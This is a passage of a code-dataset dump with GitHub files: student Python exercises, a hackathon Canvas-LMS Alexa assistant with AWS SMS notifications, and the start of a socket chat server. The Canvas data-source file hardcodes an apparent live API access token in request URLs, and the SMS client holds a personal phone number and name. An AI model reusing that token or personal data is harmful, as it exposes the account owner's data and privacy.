"b27c6266a2ebdf22faf2619202eace1c92273f12", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 129, "license_type": "permissive", "max_line_length": 60, "num_lines": 3, "path": "/exercicio10.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "K = float(input(\"Digite uma velocidade qualquer em Km/h: \"))\nM = K / 3.6\nprint(\"Esta mesma velocidade em m/s é {}m/s\".format(M))" }, { "alpha_fraction": 0.6420664191246033, "alphanum_fraction": 0.6752767562866211, "avg_line_length": 44.33333206176758, "blob_id": "ed7e1563b7ba60de517587543d75dfa1abca2e32", "content_id": "e944b27901be8c637e7be5873c282964a5d0839b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 274, "license_type": "permissive", "max_line_length": 50, "num_lines": 6, "path": "/exercicio29.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "n1 = float(input(\"Digite a sua primeira nota: \"))\nn2 = float(input(\"Digite a sua segunda nota: \"))\nn3 = float(input(\"Digite a sua terceira nota: \"))\nn4 = float(input(\"Digite a sua quarta nota: \"))\nmedia = (n1+n2+n3+n4)/4\nprint(\"A sua média aritmética é {}\".format(media))" }, { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7615384459495544, "avg_line_length": 23.375, "blob_id": "a7169380ab98247493ef7bf21cd3a72194eaa63c", "content_id": "cd6d877322ccdc414bab4c4e4014f8a3ee28cacc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 400, "license_type": "permissive", "max_line_length": 90, "num_lines": 16, "path": "/README.md", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "# infosatc-lp-avaliativo-01\n<p align = \"center\">\nExercicios Avaliativos de Linguagem de Programação\n<br><br>\n<img src = \"https://unisatc.com.br/wp-content/uploads/2021/05/LOGO-VERTICAL-COLORIDA.jpg\">\n<br><br>\nCurso Técnico de Informática\n<br>\nDisciplina: Linguagem de Programação\n<br>\nAno: 2190\n<br>\nDescrição: Exercicios Avaliativos de Linguagem de Programação\n<br>\nLinguagem: Python\n</p>\n" }, { "alpha_fraction": 0.6496350169181824, "alphanum_fraction": 0.6934306621551514, "avg_line_length": 45, "blob_id": "685f62837b88a5cb86e424e16dc00992e44fa06e", "content_id": "3e60ec125c85d0e36ba7fceb41c0046f8ddf941a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 140, "license_type": "permissive", "max_line_length": 62, "num_lines": 3, "path": "/exercicio27.py", "repo_name": "EduarTeixeira/infosatc-lp-avaliativo-01", "src_encoding": "UTF-8", "text": "H = float(input(\"Digite o valor de uma área em Hectares: \"))\nM = H * 10000\nprint(\"Este mesmo valor em metros quadrados é {}m²\".format(M))" } ]
14
michaelxiao16/HackGT6
https://github.com/michaelxiao16/HackGT6
a40c668ef1b799cc7017bca86b1701e431fe6af6
8ea6a16196fa8226792f0ec9c6e2d3e33513ce9e
d5e96b5c75c94a1685db2a75ae2963fab6cb8eef
refs/heads/master
2020-08-28T06:47:31.328194
2019-10-27T12:56:40
2019-10-27T12:56:40
217,626,577
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6032926440238953, "alphanum_fraction": 0.6054168939590454, "avg_line_length": 32.625, "blob_id": "35fb2a7b889374dc4b5d71c957e7d59f3b4be7ef", "content_id": "d4c48a9fdd8231953a4d3efecab429547e74e402", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1883, "license_type": "permissive", "max_line_length": 74, "num_lines": 56, "path": "/CanvasChecker.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "import asyncio\nimport json\nimport datetime\nimport TextClient\n\nimport CanvasApi\n\n\nasync def report_result(delay):\n await asyncio.sleep(delay)\n c = CanvasApi.CanvasApi()\n grade_data = c.get_all_grades()\n print(str(grade_data))\n with open('student_data.json') as f:\n student = json.load(f)\n last_date = datetime.datetime.fromisoformat(student['last_check'])\n announcements_tuples = c.get_all_new_announcements(last_date)\n for course, announcements in announcements_tuples:\n if len(announcements) != 0:\n TextClient.send_announcement_message()\n assignment_tuples = c.get_all_new_assignments(last_date)\n for course, assignments in assignment_tuples:\n if len(assignments) != 0:\n TextClient.send_assignment_message()\n quiz_tuples = c.get_all_new_quizzes(last_date)\n for course, quizzes in quiz_tuples:\n if len(quizzes) != 0:\n TextClient.send_quiz_message()\n for cl, grade in grade_data:\n if student[\"current_grades\"][cl] != grade:\n student[\"current_grades\"][cl] = grade\n TextClient.send_grade_change_message()\n student['last_check'] = str(datetime.datetime.now())\n with open('student_data.json', 'w') as w:\n json.dump(student, w)\n\n\nasync def checker():\n print(\"started!\")\n while True:\n await report_result(3)\n # print(\"finished!\")\n\n\nif __name__ == '__main__':\n c = CanvasApi.CanvasApi()\n data = c.get_all_grades()\n print(data)\n with open('student_data.json') as f:\n student = json.load(f)\n for cl, grade in data:\n student['current_grades'][cl] = grade\n student['last_check'] = str(datetime.datetime.now())\n with open('student_data.json', 'w') as w:\n json.dump(student, w)\n asyncio.run(checker())\n" }, { "alpha_fraction": 0.6228163242340088, "alphanum_fraction": 0.6259925961494446, "avg_line_length": 27.847328186035156, "blob_id": "4d428dc31f4732db7ddcdb2a9cb2c3d797846b5f", "content_id": "4dbf2a7d5c5aac74135cdab3fd84d5a8eff91e19", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3778, "license_type": "permissive", "max_line_length": 132, "num_lines": 131, "path": "/index.js", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "var AWS = require('aws-sdk');\nvar pinpoint = new AWS.Pinpoint({region: process.env.region});\nvar projectId = process.env.projectId;\nvar originationNumber = process.env.originationNumber;\nvar grade_message = \"An assignment grade has been changed in your course. Login to canvas to see your recent feedback!\";\nvar announcement_message = \"One of your instructors has posted an announcement in one of your courses. Login to canvas to view it!\";\nvar assignment_message = \"An assignment has been added to one of your classes! Login to canvas to view it!\"\nvar quiz_message = \"A quiz has been added to one of your classes! Login to canvas to view it!\"\n\nvar messageType = \"TRANSACTIONAL\";\nvar message;\n\nexports.handler = (event, context, callback) => {\n console.log('Received event:', event);\n if (event.source === \"Grade Change\") {\n message = grade_message;\n } else if (event.source === \"New Announcement\") {\n message = announcement_message;\n } else if (event.source === \"New Assignment\") {\n message = assignment_message;\n } else if (event.source === \"New Quiz\") {\n message = quiz_message;\n }\n validateNumber(event);\n};\n\nfunction validateNumber (event) {\n var destinationNumber = event.destinationNumber;\n if (destinationNumber.length === 10) {\n destinationNumber = \"+1\" + destinationNumber;\n }\n var params = {\n NumberValidateRequest: {\n IsoCountryCode: 'US',\n PhoneNumber: destinationNumber\n }\n };\n pinpoint.phoneNumberValidate(params, function(err, data) {\n if (err) {\n console.log(err, err.stack);\n }\n else {\n console.log(data);\n //return data;\n if (data['NumberValidateResponse']['PhoneTypeCode'] === 0) {\n createEndpoint(data, event.firstName, event.lastName, event.source);\n } else {\n console.log(\"Received a phone number that isn't capable of receiving \"\n +\"SMS messages. No endpoint created.\");\n }\n }\n });\n}\n\nfunction createEndpoint(data, firstName, lastName, source) {\n var destinationNumber = data['NumberValidateResponse']['CleansedPhoneNumberE164'];\n var endpointId = data['NumberValidateResponse']['CleansedPhoneNumberE164'].substring(1);\n\n var params = {\n ApplicationId: projectId,\n EndpointId: endpointId,\n EndpointRequest: {\n ChannelType: 'SMS',\n Address: destinationNumber,\n OptOut: 'ALL',\n Location: {\n PostalCode:data['NumberValidateResponse']['ZipCode'],\n City:data['NumberValidateResponse']['City'],\n Country:data['NumberValidateResponse']['CountryCodeIso2'],\n },\n Demographic: {\n Timezone:data['NumberValidateResponse']['Timezone']\n },\n Attributes: {\n Source: [\n source\n ]\n },\n User: {\n UserAttributes: {\n FirstName: [\n firstName\n ],\n LastName: [\n lastName\n ]\n }\n }\n }\n };\n pinpoint.updateEndpoint(params, function(err,data) {\n if (err) {\n console.log(err, err.stack);\n }\n else {\n console.log(data);\n //return data;\n sendConfirmation(destinationNumber);\n }\n });\n}\n\nfunction sendConfirmation(destinationNumber) {\n\n var params = {\n ApplicationId: projectId,\n MessageRequest: {\n Addresses: {\n [destinationNumber]: {\n ChannelType: 'SMS'\n }\n },\n MessageConfiguration: {\n SMSMessage: {\n Body: message,\n MessageType: messageType,\n OriginationNumber: originationNumber\n }\n }\n }\n };\n\n pinpoint.sendMessages(params, function(err, data) {\n if(err) {\n console.log(err.message);\n } else {\n console.log(\"Message sent! \"\n + data['MessageResponse']['Result'][destinationNumber]['StatusMessage']);\n }\n });\n}" }, { "alpha_fraction": 0.6016208529472351, "alphanum_fraction": 0.6122676134109497, "avg_line_length": 51.66108703613281, "blob_id": "ea384f11ddc9f240e46f55d23248e6590c9daec9", "content_id": "35d966efbbf44c5fd5c3fe708ee8c2fcafdae57d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12586, "license_type": "permissive", "max_line_length": 120, "num_lines": 239, "path": "/AlexaSkillsFiles/WORKING_CanvasApi.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "import CanvasDataSource\nfrom datetime import datetime\n# from brewtils import system, parameter, Plugin, command\n\n\n# @system\nclass CanvasApi(object):\n\n def __init__(self):\n self.USER_ID = 24939504\n self.course_json = CanvasDataSource.getClasses()\n self.course_id_to_name = {course['id']: course['name'] for course in self.course_json}\n self.course_name_to_id = self.get_course_names_to_ids()\n self.courses = self.get_courses()\n self.all_unique_course_names = [self.course_id_to_name[id] for id in self.courses]\n\n def get_course_names_to_ids(self):\n base = {}\n for course in self.course_json:\n base[course['name'].lower()] = course['id']\n base[course['name'].split()[0].lower()] = course['id']\n base[course['name'].replace(' ', '').lower()] = course['id']\n return base\n\n # @command(description='Get all the courses as a json file of the current student.', output_type='JSON')\n def get_courses(self):\n courses = {}\n for course_id in self.course_id_to_name:\n for enrolled in CanvasDataSource.get_enrollment(course_id):\n if enrolled['user_id'] == self.USER_ID:\n courses[course_id] = enrolled\n return courses\n\n # @command(description='Get all the courses of the current student.')\n def get_course_names(self):\n courses_names = [self.course_id_to_name[course_id] for course_id in self.courses]\n text = \"\"\n if len(courses_names) == 2:\n text = f'{courses_names[0]} and {courses_names[1]}.'\n else:\n for index, name in enumerate(courses_names):\n if index < (len(courses_names) - 1):\n text += f'{name}, '\n else:\n text += f'and {name}.'\n return f'You are currently enrolled in {text}'\n\n # @command(description='Get the name of the current student.', output_type='STRING')\n def get_my_name(self):\n return str(list(self.courses.values())[0]['user']['name'])\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\", default=\"English 1101\")\n # @command(description=\"Get the current students grade for a specific course.\", output_type='STRING')\n def get_grade(self, course_name: str):\n course_name = course_name.lower()\n if course_name not in self.course_name_to_id:\n return f'Course name {course_name} could not be found'\n course_id = self.course_name_to_id[course_name]\n course = self.courses[course_id]\n return f\"You have a {course['grades']['current_score']} in {course_name}\"\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @command(description=\"Get the current students grade for a specific course.\")\n def get_grade_raw(self, course_name: str):\n course_id = self.course_name_to_id[course_name.lower()]\n course = self.courses[course_id]\n return course['grades']['current_score']\n\n # @command(description=\"Get the all the grades for the current student.\", output_type='STRING')\n def get_all_grades(self):\n return [(name, self.get_grade_raw(name)) for name in self.all_unique_course_names]\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @command(description=\"Get the all the assignments of a course for the current student.\")\n def get_assignments(self, course_name: str):\n course_name = course_name.lower()\n if course_name not in self.course_name_to_id:\n return f'Course name {course_name} could not be found'\n course_id = self.course_name_to_id[course_name]\n assignments = CanvasDataSource.getAssignments(self.USER_ID, course_id)\n\n assignments = sorted([(a['name'], self.get_date(a['due_at'])) for a in assignments if\n a['submission_types'][0] == 'online_upload' and self.get_date(\n a['due_at']) > datetime.now()], key=lambda x: x[1])\n\n if len(assignments) == 0:\n return f'You have no assignments in {course_name}'\n\n latest = f'{assignments[0][0]} is due {assignments[0][1].strftime(\"%B %d, %Y\")}'\n return f'You have {len(assignments)} assignments in {course_name}. {latest}'\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @parameter(key=\"after_date\", description=\"Show assignments after this date\",\n # display_name=\"After Date\", type='DateTime', optional=True, nullable=True)\n # @command(description=\"Get the current students grade for a specific course.\")\n def get_assignments_raw(self, course_name: str, after_date: datetime = None):\n if type(after_date) == int:\n after_date = datetime.utcfromtimestamp(after_date / 1000)\n course_id = self.course_name_to_id[course_name.lower()]\n assignments = CanvasDataSource.getAssignments(self.USER_ID, course_id)\n\n if after_date is None:\n return sorted([(a['name'], self.get_date(a['due_at'])) for a in assignments if\n a['submission_types'][0] == 'online_upload' and self.get_date(a['due_at']) > datetime.now()],\n key=lambda x: x[1])\n else:\n return sorted([(a['name'], self.get_date(a['created_at'])) for a in assignments if\n a['submission_types'][0] == 'online_upload' and self.get_date(a['created_at']) > after_date],\n key=lambda x: x[1])\n\n # @command(description=\"Get the all the assignments for the current student.\")\n def get_all_assignments(self):\n return [(name, self.get_assignments_raw(name)) for name in self.all_unique_course_names]\n\n # @parameter(key=\"date\", description=\"Show assignments after this date\",\n # display_name=\"After Date\", type='DateTime')\n # @command(description=\"Get the current students newest assignments.\")\n def get_all_new_assignments(self, date: datetime):\n if type(date) == int:\n date = datetime.utcfromtimestamp(date / 1000)\n return [(name, self.get_assignments_raw(name, after_date=date)) for name in self.all_unique_course_names]\n\n def get_date(self, string):\n if string is None:\n return datetime.now()\n newHour = (int(string.split('T')[1][:2]) - 4) % 24\n newString = string.split('T')[0] + 'T' + str(newHour) + string.split('T')[1][2:]\n return datetime.strptime(newString, '%Y-%m-%dT%H:%M:%SZ')\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @command(description=\"Get the current students quizzes for a specific course.\")\n def get_quizzes(self, course_name: str):\n course_name = course_name.lower()\n if course_name not in self.course_name_to_id:\n return f'Course name {course_name} could not be found'\n course_id = self.course_name_to_id[course_name]\n quizzes = CanvasDataSource.getQuizzes(course_id)\n\n quizzes = sorted(\n [(q['title'], self.get_date(q['due_at'])) for q in quizzes if self.get_date(q['due_at']) > datetime.now()],\n key=lambda x: x[1])\n\n latest = f'{quizzes[0][0]} is due {quizzes[0][1].strftime(\"%B %d, %Y\")}'\n quiz = 'quiz' if len(quizzes) == 1 else 'quizzes'\n return f'You have {len(quizzes)} {quiz} in {course_name}. {latest}'\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @parameter(key=\"after_date\", description=\"Show assignments after this date\",\n # display_name=\"After Date\", type='DateTime', optional=True, nullable=True)\n # @command(description=\"Get the current students quizzes for a specific course.\")\n def get_quizzes_raw(self, course_name: str, after_date: datetime = None):\n if type(after_date) == int:\n after_date = datetime.utcfromtimestamp(after_date / 1000)\n course_id = self.course_name_to_id[course_name.lower()]\n quizzes = CanvasDataSource.getQuizzes(course_id)\n\n if after_date is None:\n return sorted(\n [(q['title'], self.get_date(q['due_at'])) for q in quizzes if\n self.get_date(q['due_at']) > datetime.now()],\n key=lambda x: x[1])\n else:\n return sorted([(q['title'], self.get_date(q['unlock_at'])) for q in quizzes if\n self.get_date(q['unlock_at']) > after_date],\n key=lambda x: x[1])\n\n # @command(description=\"Get the all the quizzes for the current student.\")\n def get_all_quizzes(self):\n return [(name, self.get_quizzes_raw(name)) for name in self.all_unique_course_names]\n\n # @parameter(key=\"date\", description=\"Show assignments after this date\",\n # display_name=\"After Date\", type='DateTime')\n # @command(description=\"Get the current students quizzes past a date\")\n def get_all_new_quizzes(self, date):\n if type(date) == int:\n date = datetime.utcfromtimestamp(date / 1000)\n return [(name, self.get_quizzes_raw(name, after_date=date)) for name in self.all_unique_course_names]\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @command(description=\"Get the current students announcements for a specific course.\")\n def get_announcement(self, course_name):\n course_name = course_name.lower()\n if course_name not in self.course_name_to_id:\n return f'Course name {course_name} could not be found'\n course_id = self.course_name_to_id[course_name]\n announcements = CanvasDataSource.getAnnouncement(course_id)\n info = sorted(\n [(a['title'], self.get_date(a['posted_at'])) for a in announcements],\n key=lambda x: x[1])\n\n if len(info) == 0:\n return f'There are no announcements for {course_name}'\n return f'The latest announcement for {course_name} is {info[0]}'\n\n # @parameter(key=\"course_name\", description=\"The Canvas Course Name (Example: English 1331)\",\n # display_name=\"Course Name\",\n # default=\"English 1101\")\n # @parameter(key=\"after_date\", description=\"Show assignments after this date\",\n # display_name=\"After Date\", type='DateTime', optional=True, nullable=True)\n # @command(description=\"Get the current students announcements for a specific course.\")\n def get_announcement_raw(self, course_name, after_date: datetime = None):\n if type(after_date) == int:\n after_date = datetime.utcfromtimestamp(after_date / 1000)\n course_name = course_name.lower()\n course_id = self.course_name_to_id[course_name]\n announcements = CanvasDataSource.getAnnouncement(course_id)\n if after_date is None:\n return sorted(\n [(a['title'], self.get_date(a['posted_at'])) for a in announcements],\n key=lambda x: x[1])\n else:\n return sorted([(a['title'], self.get_date(a['posted_at'])) for a in announcements if\n self.get_date(a['posted_at']) > after_date],\n key=lambda x: x[1])\n\n # @command(description=\"Get the all the announcements for each course for the current student.\")\n def get_all_announcements(self):\n return [(name, self.get_announcement_raw(name)) for name in self.all_unique_course_names]\n\n # @parameter(key=\"date\", description=\"Show announcements after this date\",\n # display_name=\"After Date\", type='DateTime')\n # @command(description=\"Get the current students announcements past a date\")\n def get_all_new_announcements(self, date):\n if type(date) == int:\n date = datetime.utcfromtimestamp(date / 1000)\n return [(name, self.get_announcement_raw(name, after_date=date)) for name in self.all_unique_course_names]\n" }, { "alpha_fraction": 0.5538461804389954, "alphanum_fraction": 0.5723077058792114, "avg_line_length": 20.733333587646484, "blob_id": "12e6d0a80ec02a9777d46dfe6bd5f2084c02a944", "content_id": "295aa1917abb5318bde6429cf3289c3e87bf37da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 325, "license_type": "permissive", "max_line_length": 46, "num_lines": 15, "path": "/plugin.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "from brewtils import system, parameter, Plugin\nfrom CanvasApi import CanvasApi\n\nif __name__ == \"__main__\":\n client = CanvasApi()\n\n plugin = Plugin(\n client,\n name=\"Canvas Debugger\",\n version=\"1.0\",\n bg_host='localhost',\n bg_port=2337,\n ssl_enabled=False,\n )\n plugin.run()" }, { "alpha_fraction": 0.5513308048248291, "alphanum_fraction": 0.5877240896224976, "avg_line_length": 20.658823013305664, "blob_id": "c72c5863c491112bcdce6e018c5ff9b33bdc3834", "content_id": "575d58b5390a86bb5b50713c8330c07cdc1503d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1841, "license_type": "permissive", "max_line_length": 38, "num_lines": 85, "path": "/TextClient.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "import json\n\nimport boto3 as boto3\n\nDESTINATION_NUMBER = \"4702637816\"\nFIRST_NAME = \"Austin\"\nLAST_NAME = \"Miles\"\n\n\ndef send_grade_change_message():\n payload3 = b\"\"\"{\n \"destinationNumber\": \"4702637816\",\n \"firstName\": \"Austin\",\n \"lastName\": \"Miles\",\n \"source\": \"Grade Change\"\n }\"\"\"\n client = get_boto3_client()\n client.invoke(\n FunctionName=\"CanvasText\",\n InvocationType=\"Event\",\n Payload=payload3\n )\n\n\ndef send_announcement_message():\n payload3 = b\"\"\"{\n \"destinationNumber\": \"4702637816\",\n \"firstName\": \"Austin\",\n \"lastName\": \"Miles\",\n \"source\": \"New Announcement\"\n }\"\"\"\n client = get_boto3_client()\n client.invoke(\n FunctionName=\"CanvasText\",\n InvocationType=\"Event\",\n Payload=payload3\n )\n\n\ndef send_quiz_message():\n payload3 = b\"\"\"{\n \"destinationNumber\": \"4702637816\",\n \"firstName\": \"Austin\",\n \"lastName\": \"Miles\",\n \"source\": \"New Quiz\"\n }\"\"\"\n client = get_boto3_client()\n client.invoke(\n FunctionName=\"CanvasText\",\n InvocationType=\"Event\",\n Payload=payload3\n )\n\n\ndef send_assignment_message():\n payload3 = b\"\"\"{\n \"destinationNumber\": \"4702637816\",\n \"firstName\": \"Austin\",\n \"lastName\": \"Miles\",\n \"source\": \"New Assignment\"\n }\"\"\"\n client = get_boto3_client()\n client.invoke(\n FunctionName=\"CanvasText\",\n InvocationType=\"Event\",\n Payload=payload3\n )\n\n\ndef get_boto3_client():\n with open('aws-creds.json') as f:\n creds = json.load(f)\n access_key = creds['access_key']\n secret = creds['secret_key']\n client = boto3.client(\n 'lambda',\n aws_access_key_id=access_key,\n aws_secret_access_key=secret,\n region_name='us-east-1'\n )\n return client\n\n\nif __name__ == '__main__':\n send_grade_change_message()\n" }, { "alpha_fraction": 0.7888888716697693, "alphanum_fraction": 0.7888888716697693, "avg_line_length": 17.200000762939453, "blob_id": "c8190cf6a46f1b5cb64b3f77dde6f0dfd8475397", "content_id": "ada8cb86a41b8e80f1391be1ee15df878e1b8dd1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 90, "license_type": "permissive", "max_line_length": 40, "num_lines": 5, "path": "/Test.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "import CanvasApi\n\ncanvas = CanvasApi.CanvasApi()\n\nprint(canvas.get_assignments(\"English\"))" }, { "alpha_fraction": 0.7561983466148376, "alphanum_fraction": 0.7685950398445129, "avg_line_length": 33.60714340209961, "blob_id": "0217427340647112d2d6a9505962e056951bb572", "content_id": "8469b622a6d877059cb2812513d07e1ef8fd3935", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 968, "license_type": "permissive", "max_line_length": 232, "num_lines": 28, "path": "/README.md", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "# Canvas Assistant\n\n### An Alexa skill for use by students who use Canvas.\n\nInvoke this skill with \"Ask CollegeAgenda\"\n\nAvailable commands include:\n* Ask CollegeAgenda what is my name?\n* Ask CollegeAgenda what classes am I taking?\n* Ask CollegeAgenda what are my grades?\n* Ask CollegeAgenda what assignments do I have?\n* Ask CollegeAgenda what quizzes do I have?\n* Ask CollegeAgenda what is my grade in English?\n* Ask CollegeAgenda what assignments do I have in Physics?\n* And more\n\n### Text updates\n\nUtilizes Amazon's Pinpoint to send text updates on:\n* Grade Changes\n* New Assignments\n* New Quizzes\n\n### System Debugging\n\nUtilizies NSA's Beer-Garden to provide web hosted REST calls to quickly debug the system and see the responses\n\nThis app was written by [@jaustinmiles](https://github.com/jaustinmiles), [@Ryanm14](https://github.com/Ryanm14), [@michaelxiao16](https://github.com/michaelxiao16), and [@Rmoazzami](https://github.com/Rmoazzami) during HackGT 2019." }, { "alpha_fraction": 0.7197265625, "alphanum_fraction": 0.724609375, "avg_line_length": 33.16666793823242, "blob_id": "aede302344375fe1e9369d98200d74b37755a5fd", "content_id": "0e5509dc85af6e32c134babd75afb93e55a6cc63", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1024, "license_type": "permissive", "max_line_length": 162, "num_lines": 30, "path": "/CanvasDataSource.py", "repo_name": "michaelxiao16/HackGT6", "src_encoding": "UTF-8", "text": "## Getting all canvas info\nimport requests\n\n\nACCESS_TOKEN = '7~fxv2FzexxnfWEu2MzAYVnxlzRVvDFZnvzqhTppuhMO8i8xdZN0THcq5yZfSJmHL3'\n\n\ndef getClasses():\n auth = requests.get(f\"https://canvas.instructure.com/api/v1/courses?access_token={ACCESS_TOKEN}\")\n return auth.json()\n\ndef get_enrollment(course_id: int):\n return requests.get(f'https://canvas.instructure.com/api/v1/courses/{course_id}/enrollments?access_token={ACCESS_TOKEN}').json()\n\n\ndef getAssignments(user_id: int, course_id: int):\n assignments = requests.get(f\"https://canvas.instructure.com/api/v1/users/{user_id}/courses/{course_id}/assignments?access_token={ACCESS_TOKEN}\")\n return assignments.json()\n\ndef getQuizzes(course_id: int):\n return requests.get(f\"https://canvas.instructure.com/api/v1/courses/{course_id}/quizzes?access_token={ACCESS_TOKEN}\").json()\n\ndef getAnnouncement(course_id: int):\n return requests.get(f\"https://canvas.instructure.com/api/v1/courses/{course_id}/discussion_topics?only_announcements=true&access_token={ACCESS_TOKEN}\").json()\n\n\n\n\nif __name__ == '__main__':\n getClasses()" } ]
8
zhaochen18611579279/CEG4188A1
https://github.com/zhaochen18611579279/CEG4188A1
dec1334bbde3ad874a1fc759d88bf16b6687d97f
21a8cd45ff110c6baf1ade312311bb4f14ac3799
43ea495f1c3030102a49ffb8b4effbcc62c9d774
refs/heads/master
2022-12-29T03:09:08.635621
2020-10-14T01:42:43
2020-10-14T01:42:43
303,831,314
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5965874195098877, "alphanum_fraction": 0.6075563430786133, "avg_line_length": 22.797101974487305, "blob_id": "fca8a36a82c1d8eba2619b08de8f076fe2bbe83b", "content_id": "c5efb83eb2eb655886da1edfa24948655e52aa95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1641, "license_type": "no_license", "max_line_length": 82, "num_lines": 69, "path": "/client.py", "repo_name": "zhaochen18611579279/CEG4188A1", "src_encoding": "UTF-8", "text": "import thread\nimport threading\nfrom socket import *\nimport sys\n\n\nclass BasicClient(object):\n\n def __init__(self, name, address, port):\n self.name = name\n self.address = address\n self.port = int(port)\n self.socket = socket(AF_INET, SOCK_STREAM)\n\n self.socket.connect((self.address, self.port))\n self.send(self.name)\n\n def send(self, message):\n self.socket.send(message)\n\n\nclass ListenStdIn(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n while True:\n print('Listening to StdIn ...')\n sentence = raw_input('[Me] ')\n # add spaces to make sentence 200 characters\n if len(sentence) < 200:\n for x in range(200 - len(sentence)):\n sentence = sentence + \" \"\n\n client.send(sentence)\n\n\nclass ListenServer(threading.Thread):\n def __init__(self):\n threading.Thread.__init__(self)\n\n def run(self):\n while True:\n print('Listening to Server ...')\n sentence = client.socket.recv(1024)\n print (sentence.rstrip())\n\n\nargs = sys.argv\nif len(args) != 4:\n print \"Please supply a server address and port. # of args: \" + repr(len(args))\n sys.exit()\nprint args[0]\nclient = BasicClient(args[1], args[2], args[3])\n\nprint \"Client name: \" + client.name\nprint \"Address name: \" + client.address\nprint \"Port name: \" + repr(client.port)\n\nthreads = []\n\ninputThread = ListenStdIn()\nserverThread = ListenServer()\n\ninputThread.start()\nserverThread.start()\n\nthreads.append(inputThread)\nthreads.append(serverThread)" }, { "alpha_fraction": 0.6394941210746765, "alphanum_fraction": 0.6454365253448486, "avg_line_length": 30.975608825683594, "blob_id": "5377ee79ede784face02f0fd45cd0f5101cad124", "content_id": "f9a6b89d04ac0210f4194800c39debfb07dc65f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6563, "license_type": "no_license", "max_line_length": 99, "num_lines": 205, "path": "/server.py", "repo_name": "zhaochen18611579279/CEG4188A1", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom socket import *\nimport thread\nimport sys\n\nclass Client(object):\n\n def __init__(self, name, address, socket):\n self.name = name\n self.address = address\n self.socket = socket\n self.channel = \"\"\n \n def setChannel(self, channel):\n self.channel = channel\n\n def getChannel(self):\n return self.channel\n\nclass Channel(object):\n\n def __init__(self, name):\n self.name = name\n self.subscriber = []\n\n def addSubsciber(self, client):\n self.subscriber.append(client)\n\n def deleteSubsciber(self, client):\n self.subscriber.remove(client)\n\nMESSAGE_LENGTH = 200\n\n#### Server messages ####\n\n# The client sent a control message (a message starting with \"/\") that doesn't exist\n# (e.g., /foobar).\nSERVER_INVALID_CONTROL_MESSAGE = \\\n \"{} is not a valid control message. Valid messages are /create, /list, and /join.\"\n\n# Message returned when a client attempts to join a channel that doesn't exist.\nSERVER_NO_CHANNEL_EXISTS = \"No channel named {0} exists. Try '/create {0}'?\"\n\n# Message sent to a client that uses the \"/join\" command without a channel name.\nSERVER_JOIN_REQUIRES_ARGUMENT = \"/join command must be followed by the name of a channel to join.\"\n\n# Message sent to all clients in a channel when a new client joins.\nSERVER_CLIENT_JOINED_CHANNEL = \"{0} has joined\"\n\n# Message sent to all clients in a channel when a client leaves.\nSERVER_CLIENT_LEFT_CHANNEL = \"{0} has left\"\n\n# Message sent to a client that tries to create a channel that doesn't exist.\nSERVER_CHANNEL_EXISTS = \"Room {0} already exists, so cannot be created.\"\n\n# Message sent to a client that uses the \"/create\" command without a channel name.\nSERVER_CREATE_REQUIRES_ARGUMENT = \\\n \"/create command must be followed by the name of a channel to create\"\n\n# Message sent to a client that sends a regular message before joining any channels.\nSERVER_CLIENT_NOT_IN_CHANNEL = \\\n \"Not currently in any channel. Must join a channel before sending messages.\"\n\nargs = sys.argv\nif len(args) != 3:\n print \"Please supply a server address and port. 